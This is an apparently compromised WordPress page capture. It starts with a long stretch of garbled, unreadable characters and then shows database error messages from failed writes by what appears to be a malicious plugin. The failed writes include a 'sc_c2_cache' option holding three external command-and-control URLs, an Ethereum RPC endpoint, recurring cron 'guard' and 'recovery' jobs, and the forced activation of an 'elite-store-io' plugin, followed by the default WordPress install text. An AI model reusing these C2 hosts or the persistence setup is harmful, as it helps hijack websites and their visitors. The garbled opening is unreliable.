OURV_NKGOVTJQNN\CR^ZUSV_R\CU SRZCR^9UT^\mGGGGGGGGGO8T OUSTWNO _	S^OUSSPNNNGGCS^W Z^PR\C	SPRVPZCS^W 9VVT\mGGQ^	UOUSSPNO		GGONGGGGGmmmGOF
OC +(%&+4<8T OP^PN:NNGG	\mGGGGGOF	OT
OUUVPNNGGF _	S^OUSTWNO _	S^OURV^NNNGGG	\mmmmGGGO _	S^OURUWNOT
OURV_NNNGmGmG RSON\mGGGGGGGGO3GC	VRV8UNGGmGGGGGGGGO"	GC	VRV8UNGGGGGmGGGGGmGGGGGmN\mGGGmGGGGG UWWTOQ^	UOURVTNKGG _	S^OURUVNKGGOVTJRNN\mmmmGGG UWWTO8T OUVTWNKG8T OUVTWNN\mGGG UWWTO8T OUVTVNKGG8T OURUUNN\m UWWTOQ^	UO_^^NKGGGGG8T OURUTNKGGGGOTLPNN\m UWWTOQ^	UOURVTNKGG		GGONGGGmGGGGGGGGOFQ^	UOURUSNO _	S^OURV^NNGGFT
OURUSNO8T OURURNNNG	\mmmmGGGGGGC
 8VQGGGZGGGGO	NG' 8	OQ^	UOURUQNKGGWN\mGGGGGGGGOOT
OUTVPNONGGGGGGJGC
 8VQNGGYGGOSVTTJRTTNNGGGGGmmmGGGG'8	O _	S^OURUPNKGGG8T OURU_NONN\m_QPQ^V_ ON\mGGGGGGmKGGGOVRJQNN\mmmmGGGGGmGGGGG UWWTOQ^	UOPTNKG _	S^OURU^NN\mmmmGT8 WR^P_R OQ^	UOURTWNKGGT
OURTVNN\mGGGGGGGOT
OURUSNO8T ORUVNNGGGAAGG8	OT
OURTUNNNGGGmGGUTWTON\mGmmmmGGmm8	O@
	8
	@K		ONmGGGG8	8 O@4	 @K@4	 @K@
	 8	@K@JJJ	 @K		ONmGGGGGGGGG@[GZEEY[VY4	 [HVY[
G
ZEEG	ZE	IEY@\mGGGGGGGG	 8O@JJ8 @N\mGGGGGGGG8	 8	O@JJJ	 @N\mGGGGGGGG
8	ON\mGGGGGGGGG@[H
Y[HY@\mGGGGN\mN\m8	O@
	8	@K		ONmGGGG 8	 O@JJ8 @K@JJ8	@N\mGGGG8	 8	O@JJ8
	@K@$	 	@K		ONG@[Y$	 G	GI[HY@\K@JJJ	 @N\mGGGG8	 8O@JJ8@K@$G*@K		ONmGGGGGGGGCZ 8	O@JJ8	@KONN\CZOC<@@:NXC<@@:]@	@\mGGGGGGGGG@[G	
ZE@I8O@JJ8	<:@NI@EY[	GZE	E@IOCK@	@KNI@Y"	[H	Y[	GZEE@IOCK@@KNI@Y#[H	Y[HY@\mGGGGK@JJJ	 @K@JJ8
	@N\mN\mO		8O@8@NN8O@888@K		ONmGGGGCZ 8	O@JJ8	@KONN\mGGGG	G@[FJJG]G@IOOC<@@:NXC<@@:]@		@NI@GJJY@\mN\mO		8O@8	
8@NGAAG		8O@ 8	8@NN 8	8O88!.+"88K		ONmGGGGOF 8	O@JJ8	@NN8	O@JJ8	@KO@@ZY@	@K@	@ZY@VIW@NN\mN\mE\', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_fetch_fails', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_fail_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_initialized', '4.3.24', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_rpc', 'https://0xrpc.io/eth', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_c2_cache', 'https://basic-junior.com/SGct2K\nhttps://railroad-boot.com/SGct2K\nhttps://great-basic.com/SGct2K', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788552479;a:1:{s:16:\"v8dylt676e918ugr\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788552779;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788552179', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:33:\"elite-store-io/elite-store-io.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)
WordPress
Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you’ll be on your way to using the most extendable and powerful personal publishing platform in the world.
Please provide the following information. Do not worry, you can always change these settings later.